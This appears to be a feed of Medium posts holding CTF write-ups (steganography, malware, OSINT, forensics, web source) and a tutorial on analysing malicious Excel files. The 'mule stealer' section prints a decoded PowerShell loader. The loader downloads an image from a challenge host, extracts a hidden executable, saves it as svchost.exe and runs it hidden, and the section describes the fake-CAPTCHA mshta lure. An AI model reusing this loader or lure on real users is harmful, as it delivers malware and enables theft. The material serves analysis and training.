srgb(19,24,9)<br>    255: (19,24,9) #131809 srgb(19,24,9)<br> <br><br>#convert gif to frames<br>convert stego-3bba3d3b5aa82c35929f971310390edf.gif stego-frame/frame_%03d.png</pre><p>Sampling from some of the frame we can utilize Stegsolve to identify the frames and identify if there is a hidden color pallete there.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/555/1*_a9k4OBprnXDxv6epIVlTg.png" /></figure><p>With changing the color shceme, we can find the piece of flag. Then try to identify the rest of it. It will take some time if you not good in programming to extract all that information. The rest of the flag are stored in frame 1, 2, 5, 6, and 8.</p><p>flag: SAS{50m3_3leph4n7s_c4n_h1d3_1n_l0c4l_p4ll3tes}</p><h3>A mule stealer (Malware)</h3><p><strong>Description:</strong></p><p>The description of the challenge mentions a weird attachment. The file provided with the challenge is an .eml file containing an email message. To solve the challenge, participants were required to conduct analysis of this file, extract the final malicious payload and reverse engineer it.</p><p><strong>Solution:</strong></p><p>The given attachment are an email containing cute cat-rabbit.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*HQOmMVAYTiS1Gsb4d30AWw.png" /></figure><p>The email attach a link that drive us to hxxps[://]verifycert[.]task[.]sasc[.]tf/video/view[.]html</p><p>The site contains a fake captcha verification. This works look like some malware distribution method from <a href="https://www.cyfirma.com/research/fake-captcha-malware-campaign-how-cybercriminals-use-deceptive-verifications-to-distribute-malware/">Fake CAPTCHA Malware Campaign: How Cybercriminals Use Deceptive Verifications to Distribute Malware — CYFIRMA</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/500/1*DKeh6LNNSxBqkrwFfVhgoQ.png" /></figure><p>The challenge follows a familiar pattern where user directed to a website. This site provides a string of text, usually a PowerShell command, which the user is instructed to copy and run on their local computer. The text copied from the website contains mshta is as follows:</p><p><strong><em>hxxps[://]verifycert[.]task[.]sasc[.]tf/video/cat_rabbit.mp4 # ✅ ‘’I am not a rоbоt — reCАPTCHA Vеrificatiоn ID: 2165</em></strong></p><p>The purpose of this command is to fetch an HTA file from a remote server and then run it. An HTA file try to execute a VBS script designed to run a PowerShell command:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*T9bOypHRfWFLji-6_sUbVA.png" /></figure><p>It contains powershell script with encoded base64 strings. We can decode it to further analysis.</p><pre>Add-Type -AssemblyName System.Drawing<br>$wc = New-Object System.Net.WebClient<br>[byte[]]$bytes = $wc.DownloadData(&#39;https://verifycert.task.sasc.tf/flag.png&#39;)<br>$ms = New-Object System.IO.MemoryStream(,$bytes)<br>$bmp = New-Object System.Drawing.Bitmap($ms)<br><br>function BitsToByte {<br>    param([bool[]]$bits, [int]$startIndex)<br>    $val = 0<br>    for ($i = 0; $i -lt 8; $i++) {<br>        if ($bits[$startIndex + $i]) { $val = $val -bor (1 -shl $i) }<br>    }<br>    return [byte]$val<br>}<br>$bitList = New-Object &#39;System.Collections.Generic.List[bool]&#39;<br>for ($y = 0; $y -lt $bmp.Height; $y++) {<br>    for ($x = 0; $x -lt $bmp.Width; $x++) {<br>        $r = $bmp.GetPixel($x, $y).R<br>        [void]$bitList.Add(($r -band 1))<br>    }<br>}<br>$bits = $bitList.ToArray()<br>$sizeBytes = 0..3 | ForEach-Object { BitsToByte $bits ($_ * 8) }<br>$payloadLen = [BitConverter]::ToInt32($sizeBytes, 0)<br>$payload = New-Object byte[] $payloadLen<br>for ($b = 0; $b -lt $payloadLen; $b++) {<br>    $payload[$b] = BitsToByte $bits (32 + $b * 8)<br>}<br>$dir = Join-Path $env:LOCALAPPDATA &#39;temp&#39;<br>$outFile = Join-Path $dir &#39;svchost.exe&#39;<br>[System.IO.File]::WriteAllBytes($outFile, $payload)<br>Start-Process -FilePath $outFile -WindowStyle Hidden</pre><p>It will provide us a malicious script that downloading file flag.png from verifycert.task.sasc.tf — which is an another payload. The image provided was a rick roll image.</p><p>But from the decoded script, we can identify the action was to retrieve some of the image bits/pixels then store it to <strong>svchost.exe file </strong>on <strong>temp </strong>directory.</p><p>Running this svchost.exe on a sandbox will give us an activity that accessing two link <a href="http://backupstorage.task.sasc.tf/in">http://backupstorage.task.sasc.tf/in</a> and <a href="http://backupstorage.task.sasc.tf/out">http://backupstorage.task.sasc.tf/out</a>. Both will generate a txt file</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/870/1*ym-1qO8IjXtoFX6KuoOzuw.png" /></figure><p>Then when monitoring the process,we will also know that the process invoke a cmd process and run <strong>cmd /C “type flag.txt”</strong> from address 0x1402D4072. We also know the txt generated from the link /in and /out are encrypted so we cant barely read the content. The flow from the links are encrypted using RC4 algorithm.</p><p>By inspecting the transaction on both links we can identify the key used for the /in and /out</p><p>/in: 9f811cee6f10a88d6d5249805b9ba5f8e06c9f00f025593812ba1d4a4ed833fd</p><p>then identify the exfiltr8.txt using code or other tools like cyberchef</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*nkrp3VT8abHJ-FTfIDi4Kg.png" /></figure><p>it type flag.txt, then do the same for using the retrieved information for the /out communication</p><p>/out: 09dc6e7f7782a4b5877bd0267fc3605fdfe126b95a46c0be63d0740ee80eee46</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*CYhlV9vvOQsZkz4UUS18wA.png" /></figure><p>and we will got the flag: SAS{c475_w17h_r4bb17_34r5_c4n_d3liv4r_m4lw4r3}</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=678e12cc2fb1" width="1" height="1" alt=""><hr><p><a href="https://medium.com/fmisec/security-analys-summit-ctf-2025-malware-1-stego-678e12cc2fb1">Security Analys Summit CTF 2025 — Malware(1) &amp; Stego</a> was originally published in <a href="https://medium.com/fmisec">FMI Cyber Security Consulting Services</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
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            <title><![CDATA[Cyber Jawara International CTF 2024 — Persona]]></title>
            <link>https://medium.com/fmisec/cyber-jawara-international-ctf-2024-persona-dcdd6c2f1a48?source=rss-e9571db85386------2</link>
            <guid isPermaLink="false">https://medium.com/p/dcdd6c2f1a48</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[osint]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[writeup]]></category>
            <dc:creator><![CDATA[Faishol Hakim]]></dc:creator>
            <pubDate>Wed, 13 Nov 2024 03:02:26 GMT</pubDate>
            <atom:updated>2024-11-13T03:02:26.123Z</atom:updated>
            <content:encoded><![CDATA[<h3>Cyber Jawara International CTF 2024 — Persona</h3><p>Persona is one of Misc challenge category which contains questions to trace flags from various social media, so it is classified as OSINT.</p><blockquote>Challenge Description:<br>A hacker known as “Ed” has crafted an elaborate online persona, leaving traces scattered across their personal webpage and various digital platforms. Your mission is to investigate and find the traces.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tAtD3nZ9h4sSh6N9rVWi7w.png" /></figure><p>Given web profile linked with facebook account. Before go to the facebook account, go trough inspect the profile and we can find the part 1 flag there.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_R8qrWY29nIotUPsMJdEDw.png" /></figure><p>Part 1: CJ{19f43f6db73281</p><p>For part 2, we can find this on the facebook profile. This part is confusing and takes quite a long time because it is embedded in one of the existing photo posts.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*HfJESZ08WUPjgVzcYfqY0A.png" /></figure><p>If you look at the bottom, there is a pastebin link with the condition cut off at the last letter. We know that pastebin has 8 characters, so we need to guess or bruteforce the last character with crafting some code.</p><p><a href="https://pastebin.com/a9v29gie">Part 2: 14eea9e1b939f40bc — Pastebin.com</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*RmtrAFbywZcHOW8pBCC2ag.png" /></figure><p>Part 2: 14eea9e1b939f40bc</p><p>in the third and fourth parts were successfully found by remembering that he likes coding so we can refer some page like github, gist ore something similar. Or it can also be done by looking at the lookup or ping on the domain profile earlier and we can find another domain related the user.</p><pre>ping persona.chall.cyberjawara.pro<br>PING edsalmin.github.io (185.199.108.153) 56(84) bytes of data.<br>64 bytes from cdn-185-199-108-153.github.com (185.199.108.153): icmp_seq=1 ttl=52 time=179 ms<br>64 bytes from cdn-185-199-108-153.github.com (185.199.108.153): icmp_seq=2 ttl=52 time=179 ms</pre><p>Got the github profile, and in the github profile of course we can search for several repositories. Referring from a similar challenge, the assumption is that the flag is found in the commit change in one of the repositories. And the flag is found in one of his commits</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YpmxTWh8QRv_jhpmzOW3_g.png" /></figure><p>Part 3: 453fdb0b69a4e0006</p><p>Part 4 can be obtained in several ways. Because no other information was found on the github profile, a search was then carried out on other accounts that were related to coding. The user was found on github gist. This account can also be obtained by asking an AI like chatgpt.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YS5Zjd5gQBcdTpRHG08bmA.png" /></figure><p>Part 4: 575e49e55fc187cc}</p><p>Flag: CJ{19f43f6db7328114eea9e1b939f40bc453fdb0b69a4e0006575e49e55fc187cc}</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=dcdd6c2f1a48" width="1" height="1" alt=""><hr><p><a href="https://medium.com/fmisec/cyber-jawara-international-ctf-2024-persona-dcdd6c2f1a48">Cyber Jawara International CTF 2024 — Persona</a> was originally published in <a href="https://medium.com/fmisec">FMI Cyber Security Consulting Services</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
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            <title><![CDATA[Nahamcon-CTF 2024 — Forensic (1)]]></title>
            <link>https://medium.com/fmisec/nahamcon-ctf-2024-forensic-1-99140034c7c8?source=rss-e9571db85386------2</link>
            <guid isPermaLink="false">https://medium.com/p/99140034c7c8</guid>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[writeup]]></category>
            <category><![CDATA[forensics]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[blue-team]]></category>
            <dc:creator><![CDATA[Faishol Hakim]]></dc:creator>
            <pubDate>Mon, 03 Jun 2024 06:12:08 GMT</pubDate>
            <atom:updated>2024-06-03T06:12:08.396Z</atom:updated>
            <content:encoded><![CDATA[<h3>Nahamcon-CTF 2024 — Forensic (1)</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/681/1*qYpvXMrZayEQzS6c-l4pwA.png" /><figcaption><a href="https://ctf.nahamcon.com/challenges">NahamCon CTF 2024</a></figcaption></figure><p>Last week, I participated in the NahamCon 2024 CTF, focusing specifically on the forensic challenges. These challenges are designed to test skills in digital investigation, where participants analyze data to uncover hidden details or solve complex problems.</p><p>Here, some steps about my approach to finding flags in these challenges. This write-up is both a personal record of my learning journey and a way to reflect on the methods and tools that were effective.</p><h3>Breath of the Wild (easy)</h3><blockquote>Description:<br>I got a sweet desktop background for my favorite video game, but now I want more! Problem is, I forget where I downloaded it from… can you help me remember where I got this old one?</blockquote><blockquote>Here’s a backup of all my wallpapers. For security, I set the drive password to be videogames.</blockquote><p>Given a .7z files named breath-of-the-wild.7z as evidence. Then just unzip it and it contains same file with no extention. Lets see the metadata using xxd.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1004/1*arUKhg8ZH1kD-_LJ43ULiQ.png" /></figure><p>It’s have header like a vhdx file. Then we can rename the file with its extention become breath-of-the-wild.vhdx. And it can be open by windows normally but it locked like the description said. Unlock it and we have several images with random name</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ipNFupBYMRyHGWT-Nk_GYg.png" /></figure><p>There is nothing difference there, so i open the vhdx file with <strong>autopsy, </strong>and see something unusual like deleted files. Then when I check file per file, there is one difference Zone.Identifier from an image</p><pre>https://www.gamewallpapers.com/wallpapers_slechte_compressie/01wallpapers/&amp;#102;&amp;%23108;&amp;%2397;&amp;%23103;&amp;%23123;&amp;%2356;&amp;%2351;&amp;%23102;&amp;%2350;&amp;%2398;&amp;%2348;&amp;%2397;&amp;%2356;&amp;%2399;&amp;%23101;&amp;%2351;&amp;%2357;&amp;%23102;&amp;%2350;&amp;%23101;&amp;%2353;&amp;%2398;&amp;%2397;&amp;%2349;&amp;%23100;&amp;%2354;&amp;%2399;&amp;%2355;&amp;%2348;&amp;%23101;&amp;%2357;&amp;%2355;&amp;%23102;&amp;%2350;&amp;%2357;&amp;%2349;&amp;%23101;&amp;%23125</pre><p>The url seems suspicious, then we can decode the url use decoder tools like cyberchef. And find the flag with decode that as HTML Entity.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/921/1*FAaCHxrThsfje9jGDfrefQ.png" /></figure><h3>1337 Malware (easy)</h3><blockquote>Description:</blockquote><blockquote>We received a plea for help from a rather frustrated looking employee. He said he accidently ran malware on his computer, but when he tried to pay the “leet hacker” to get his files back they said the malware was “broken”… best IT could do was provide us a PCAP.</blockquote><blockquote><strong>Attachments</strong>: 1337-malware.pcapng</blockquote><p>Let’s take a closer look at the pcap file using our preferred tools like Wireshark or Tshark. By examining the HTTP stream, we can spot the various files being transmitted, including one named rans.py.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zOopTJkcWZTjwO_tm5FJDw.png" /><figcaption>ran.py stream</figcaption></figure><p>Here is some list down files there:</p><pre>Sending: /home/davey/Documents/resources.zip<br>Sending: /home/davey/Documents/ecorp.png<br>Sending: /home/davey/Documents/Welcome Aboard.pdf<br>Sending: /home/davey/Documents/.ssh/id_rsa<br>Sending: /home/davey/Documents/.ssh/id_rsa.pub</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/823/1*qP9zVHUOabeyNxKcdTXiUg.png" /></figure><p>By inspecting the python script, we can conclude that is a python script that attempts to exfiltrate dataXOR-ing it using a random 32-byte value.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/922/1*fNMEi-SZuZDUeowdUmULRg.png" /><figcaption>rans.py</figcaption></figure><p>To break this encryption, we try using some known files as a guide to find the key we need to unlock the other files. We focus on the id_rsa file since its first 32 bytes appear to hold the key in different instances.</p><p>Find the key by use the sample 32 byte from id_rsa. I got it from my local wsl.</p><pre>elend@elend:/mnt/e/chall/ctf/nahamcon24$ head -c 32 /home/elend/.ssh/id_rsa  | xxd -p<br>2d2d2d2d2d424547494e204f50454e5353482050524956415445204b45592d2d</pre><p>Use this strings and xor it by the 32 byte data from encrypted id_rsa from the captured traffic, and store it as hex value. I utilize <a href="https://www.dcode.fr/xor-cipher">dcode.fr</a>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/987/1*sI1UUji9hZZYPY8siF-KxQ.png" /><figcaption>dcode.fr to retrieve key</figcaption></figure><p>Then, we can use the key to decrypt the files from the pcapng file by dumped them and xor it with these key using some common tools like <a href="https://gchq.github.io/CyberChef/#">cyberchef</a>.</p><p>Among the files we decode, we stumble upon Welcome Aboard.pdf. Inside, there are instructions on how to extract information from resources.zip.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/951/1*JdGcOnL3uLFFBvy55Ra8Fg.png" /><figcaption>Welcome Aboard.pdf</figcaption></figure><p>We unzip the resources.zip file and find flag.txt and welcome.txt, leading us to discover the hidden flag.</p><pre>elend@elend:/mnt/e/chall/ctf/nahamcon24/1337-file/resources$ ls<br>flag.txt  welcome.txt<br>elend@elend:/mnt/e/chall/ctf/nahamcon24/1337-file/resources$ cat flag.txt<br>flag{c95c4ff18b0eb88123de779051a7a24f}</pre><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=99140034c7c8" width="1" height="1" alt=""><hr><p><a href="https://medium.com/fmisec/nahamcon-ctf-2024-forensic-1-99140034c7c8">Nahamcon-CTF 2024 — Forensic (1)</a> was originally published in <a href="https://medium.com/fmisec">FMI Cyber Security Consulting Services</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
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            <title><![CDATA[Tenable CTF 2023 — Tenable Publication]]></title>
            <link>https://medium.com/fmisec/tenable-ctf-2023-tenable-publication-78ce4c9cd13e?source=rss-e9571db85386------2</link>
            <guid isPermaLink="false">https://medium.com/p/78ce4c9cd13e</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[challenge]]></category>
            <category><![CDATA[writeup]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[tenable]]></category>
            <dc:creator><![CDATA[Faishol Hakim]]></dc:creator>
            <pubDate>Wed, 06 Sep 2023 15:43:13 GMT</pubDate>
            <atom:updated>2023-09-06T15:43:13.327Z</atom:updated>
            <content:encoded><![CDATA[<h3>Tenable CTF 2023 — Tenable Publication</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/600/0*pBKhMF6FNAbLeFT-.png" /></figure><h3>Tenable Publication</h3><ol><li>Start your Engine</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qT0fPw4k3tYj4bBkaxd4qQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/929/1*3wpRWDGc94WWT70YiygjdQ.png" /></figure><p>Really wasting time to read each blog from tenable and try to find something interesting related the flag. Until I found this on the page source from someone blog. <strong>f0R_d@Yz},</strong> and I assume it the last part of the flag. Then i try to read the source page from same writer, then find the first part of the flag</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3Lf33nUjA6h6kJ90sBJ5QQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*TjU27Koh_wMuEzvnO0SoWg.png" /></figure><p>flag: <strong>flag{b10gs_f0R_d@Yz}</strong></p><p>2. 3 Strikes and you’re out!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/598/0*a7lhfj42fjkmQjiw.png" /></figure><p>Given a hint just like the image above. Nothing informative can got here. Then try to find out about this strik-e things on the tenable blog. When going to part Resource Zero-day Research, find some keyword related to the picture.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0S3riryOubH32bfLmPKg7g.png" /></figure><p>It a Strikingly CMS Prototype Pollution. And it same font type with the hint</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/993/1*qpVEt6rQE4g52Ht_8bZ2UQ.png" /></figure><p>So, like the part 1, try to find some hints on the source code view on comment section. Unusal string used in comment on the source code.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*OHBAnngG2pvZHRggrG-CbA.png" /></figure><pre>&lt;!-- be bg a_ bf bc a_ bf bc a_ bf b_ a_ bf bb a_ bb e` a_ ba ee a_ ba ee a_ bf bf a_ bf bf a_ bf bf a_ ba ed a_ bf bc a_ be bd a_ be ed a_ be b` a_ be ba a_ be eb a_ be bd a_ ba ed a_ be bb a_ be ee a_ be ec a_ ba ee a_ bf bb a_ be bd a_ be bb a_ bf bd a_ bf ba a_ be bh a_ bf bc a_ bf bh a_ ba ee a_ bf ba a_ be bd a_ bf bb a_ be bd a_ be b` a_ bf ba a_ be bb a_ be bg a_ ba ee a_ bf bc a_ bf ba a_ be b` a_ ba ec a_ bb ba a_ bb b_ a_ bb ba a_ bb bb a_ ba ec a_ bb ba a_ bb b_ --&gt;</pre><p>Identify this strings on dcode.fr and cyberchef. Some option come in</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/369/1*qZSZzyZ7dZXLLVw9KO93zQ.png" /></figure><p>Try to analyze with each option, and find decoded strings look like hexadecimal when using ROT-47.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*nFVFaT-qIngCg7QD-QyDLg.png" /></figure><p>Then decode it and find some information.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*pzD270GsIi2LSC3FeLPjgw.png" /></figure><p>It need to decoded twice use hexadecimal option with auto delimiter. The link given drive to other tenable blog about CMS Vulnerability. Like the previous technique. Try to find some information on the commented source code.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YKSE8Wj_KPcPIKKt5fOspg.png" /></figure><p>Other hint come and it not related with the flag. Search something related with the hint and find some information.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/926/1*DsbQzHHvcUhAgPEexsrXRg.png" /></figure><p>It goes to right path.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/486/1*iRWFsX6kZlXefjk0iAsM1Q.png" /></figure><p>The strings look lie a base64 encoded strings. Decode it and get the information.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8QinC0I9qkci4SWTLHlSBw.png" /></figure><p>Get the flag: flag{d3Cod3_d@_iNT3Rn3Tz}</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/951/1*mv6XPwJddUNPemO4aGiHiw.png" /></figure><p>The challenge focused on detail in tenable blog source code, so we need to keep details on each strings there.</p><p>— — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — -</p><p><a href="https://www.dcode.fr/cipher-identifier">Decrypt a Message — Cipher Identifier — Online Code Recognizer (dcode.fr)</a></p><p><a href="https://gchq.github.io/CyberChef/#recipe=From_Hex(&#39;Auto&#39;)From_Hex(&#39;Auto&#39;)&amp;input=MzYgMzggMjAgMzcgMzQgMjAgMzcgMzQgMjAgMzcgMzAgMjAgMzcgMzMgMjAgMzMgNjEgMjAgMzIgNjYgMjAgMzIgNjYgMjAgMzcgMzcgMjAgMzcgMzcgMjAgMzcgMzcgMjAgMzIgNjUgMjAgMzcgMzQgMjAgMzYgMzUgMjAgMzYgNjUgMjAgMzYgMzEgMjAgMzYgMzIgMjAgMzYgNjMgMjAgMzYgMzUgMjAgMzIgNjUgMjAgMzYgMzMgMjAgMzYgNjYgMjAgMzYgNjQgMjAgMzIgNjYgMjAgMzcgMzMgMjAgMzYgMzUgMjAgMzYgMzMgMjAgMzcgMzUgMjAgMzcgMzIgMjAgMzYgMzkgMjAgMzcgMzQgMjAgMzcgMzkgMjAgMzIgNjYgMjAgMzcgMzIgMjAgMzYgMzUgMjAgMzcgMzMgMjAgMzYgMzUgMjAgMzYgMzEgMjAgMzcgMzIgMjAgMzYgMzMgMjAgMzYgMzggMjAgMzIgNjYgMjAgMzcgMzQgMjAgMzcgMzIgMjAgMzYgMzEgMjAgMzIgNjQgMjAgMzMgMzIgMjAgMzMgMzAgMjAgMzMgMzIgMjAgMzMgMzMgMjAgMzIgNjQgMjAgMzMgMzIgMjAgMzMgMzA">From Hex, From Hex — CyberChef (gchq.github.io)</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=78ce4c9cd13e" width="1" height="1" alt=""><hr><p><a href="https://medium.com/fmisec/tenable-ctf-2023-tenable-publication-78ce4c9cd13e">Tenable CTF 2023 — Tenable Publication</a> was originally published in <a href="https://medium.com/fmisec">FMI Cyber Security Consulting Services</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
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            <title><![CDATA[Investigating Malicious Document File]]></title>
            <link>https://medium.com/fmisec/investigating-malicious-document-file-e6faabf17570?source=rss-e9571db85386------2</link>
            <guid isPermaLink="false">https://medium.com/p/e6faabf17570</guid>
            <category><![CDATA[malware]]></category>
            <category><![CDATA[malware-analysis]]></category>
            <category><![CDATA[maldoc]]></category>
            <category><![CDATA[dfir]]></category>
            <category><![CDATA[blue-team]]></category>
            <dc:creator><![CDATA[Faishol Hakim]]></dc:creator>
            <pubDate>Mon, 03 Apr 2023 09:44:17 GMT</pubDate>
            <atom:updated>2023-04-03T09:44:17.646Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Dnu0-nyfvqrWgu30iY4hYA.png" /></figure><p>Malicious Excel files have been a popular vector for delivering malware, phishing, and other types of cyberattacks. Excel files are commonly used for sharing data and macros, which makes them a popular target for cybercriminals. In this article, we will discuss how to investigate a malicious Excel file and identify any potential security threats. In this moment I’m using ms excel sample file.</p><h3>Identify</h3><p>identify the Excel file The first step in investigating a potentially malicious Excel file is to identify the file in question. It is important to obtain the original Excel file and not a copy, as this can alter important metadata that may be useful in the investigation. The file can be identified by its file name or through other means such as an email attachment, download from a website, or file share. More identifying can conducted with knowing where the file found, is it from email attachment, or external disk or others.</p><p>It’s important to still aware with the file and not make any action to the file except it already stored on sandbox environment.</p><h3>Basic Analysis</h3><p>Once the file is identified, it is necessary to perform a basic analysis to determine if it is malicious. This analysis should include the following:</p><p>Basically we can start identify using file command or exiftool first to ensure it.</p><pre>$ file safe_excel.xls <br>safe_excel.xls: Composite Document File V2 Document, Little Endian, <br>Os: Windows, Version 10.0, Code page: 1252, Author: BRT, Create Time/Date: Tue Aug 10 07:24:04 2021, <br>Last Saved Time/Date: Tue Aug 10 07:24:09 2021, Security: 0</pre><pre>$ exiftool safe_excel.xls <br>ExifTool Version Number         : 12.42<br>File Name                       : safe_excel.xls<br>Directory                       : .<br>File Size                       : 145 kB<br>File Modification Date/Time     : 2021:08:11 09:46:14+00:00<br>File Access Date/Time           : 2023:03:30 15:55:43+00:00<br>File Inode Change Date/Time     : 2023:03:30 15:55:41+00:00<br>File Permissions                : -rw-rw-r--<br>File Type                       : XLS<br>File Type Extension             : xls<br>MIME Type                       : application/vnd.ms-excel<br>Author                          : BRT<br>Create Date                     : 2021:08:10 07:24:04<br>Modify Date                     : 2021:08:10 07:24:09<br>Security                        : None<br>Thumbnail Clip                  : (Binary data 86480 bytes, use -b option to extract)<br>Code Page                       : Windows Latin 1 (Western European)<br>Company                         : <br>App Version                     : 16.0000<br>Scale Crop                      : No<br>Links Up To Date                : No<br>Shared Doc                      : No<br>Hyperlinks Changed              : No<br>Title Of Parts                  : Foglio1<br>Heading Pairs                   : Fogli di lavoro, 1<br>Comp Obj User Type Len          : 42<br>Comp Obj User Type              : (Foglio di lavoro di Microsoft Excel 2003</pre><p>Sometime unique things can be highlighted in this step, like when using exiftool, comment could be interesting or binary data can be attached there. Check for password-protected files. Malicious Excel files may be password protected to prevent analysis or reverse engineering.</p><h3>Content Analysis</h3><p>After a basic analysis, the next step is to analyze the content of the Excel file. In common, Microsoft has been using XML-based file formats since Office 2007, such as *.docx, *.xlsx, and .pptx, which are essentially compressed files that can be decompressed to view all plaintext components. Additionally, for backward compatibility, Microsoft still supports OLE2 (.bin) files that can be found within the decompressed files. but if it can’t conducted we can suspect it as malicious file.</p><p>Typically, attackers use these files to utilize macros and OLE2/.bin files to execute certain malicious code. Using oledump, we can see the file content to determine, im using 2 file to compare the safe and unsafe file.</p><pre>$ oledump.py other_sample.xls <br>  1:        73 &#39;\x01CompObj&#39;<br>  2:        20 &#39;\x01Ole&#39;<br>  3:       116 &#39;\x05DocumentSummaryInformation&#39;<br>  4:       312 &#39;\x05SummaryInformation&#39;<br>  5:      9528 &#39;Workbook&#39;</pre><pre>$ oledump.py safe_excel.xls <br>  1:       118 &#39;\x01CompObj&#39;<br>  2:       248 &#39;\x05DocumentSummaryInformation&#39;<br>  3:     86644 &#39;\x05SummaryInformation&#39;<br>  4:     34132 &#39;Workbook&#39;<br>  5:       461 &#39;_VBA_PROJECT_CUR/PROJECT&#39;<br>  6:       104 &#39;_VBA_PROJECT_CUR/PROJECTwm&#39;<br>  7: m    1181 &#39;_VBA_PROJECT_CUR/VBA/Foglio1&#39;<br>  8: M    5457 &#39;_VBA_PROJECT_CUR/VBA/Questa_cartella_di_lavoro&#39;<br>  9:      2988 &#39;_VBA_PROJECT_CUR/VBA/_VBA_PROJECT&#39;<br> 10:      2139 &#39;_VBA_PROJECT_CUR/VBA/__SRP_0&#39;<br> 11:       331 &#39;_VBA_PROJECT_CUR/VBA/__SRP_1&#39;<br> 12:      2495 &#39;_VBA_PROJECT_CUR/VBA/__SRP_2&#39;<br> 13:       876 &#39;_VBA_PROJECT_CUR/VBA/__SRP_3&#39;<br> 14:       464 &#39;_VBA_PROJECT_CUR/VBA/__SRP_4&#39;<br> 15:       106 &#39;_VBA_PROJECT_CUR/VBA/__SRP_5&#39;<br> 16:       565 &#39;_VBA_PROJECT_CUR/VBA/dir&#39;</pre><p>From the sample. we can conduct which one contain multiple vba file to unknown action.</p><h3>Check for Malware</h3><p>The next step is to check for malware within the Excel file. From the last phase, we know if the file contain some macro or VBA codes. For further analysis and checking, we can still using oledump to see more from the file contains on its stream based on last step.</p><pre>$ oledump.py safe_excel.xls -v -s 7<br>Attribute VB_Name = &quot;Foglio1&quot;<br>Attribute VB_Base = &quot;0{00020820-0000-0000-C000-000000000046}&quot;<br>Attribute VB_GlobalNameSpace = False<br>Attribute VB_Creatable = False<br>Attribute VB_PredeclaredId = True<br>Attribute VB_Exposed = True<br>Attribute VB_TemplateDerived = False<br>Attribute VB_Customizable = True</pre><p>It gives more information about this malicious file. we can comb through every stream we deem suspicious to map it out</p><pre>Function tellmo() As Variant<br>For Each KK In SPP(&quot;&quot; &amp; Cells(70, 3), 3)<br>If Not (IsNumeric(KK)) Then x = LTrim(Left(KK, Len(KK) - 1)) Else x = LTrim(KK)<br>Tk = Tk &amp; Chr(x)<br>Next<br>tellmo = Split(Tk, &quot;j&quot;)<br>End Function<br><br></pre><p>The search can go as far as finding some suspicious functions in a particular stream. For example in this sample we find several function which address on operating system. And for other option from oledump, we can utilize <a href="https://github.com/slaughterjames/excelpeek">exceplpeek</a> from slaughterjames to analyze specific excel file like this sample.</p><p>For further summary from the files, we can utilize olevba if already identifying the file, and other tools from remnux like olebrowse, oleid olemeta, oletimes, oledir, olefile, olemap, oleobj. For example, identifying using olevba can identifying the macro used and some malicious section</p><pre>$ olevba safe_excel.xls <br>XLMMacroDeobfuscator: pywin32 is not installed (only is required if you want to use MS Excel)<br>olevba 0.60.1 on Python 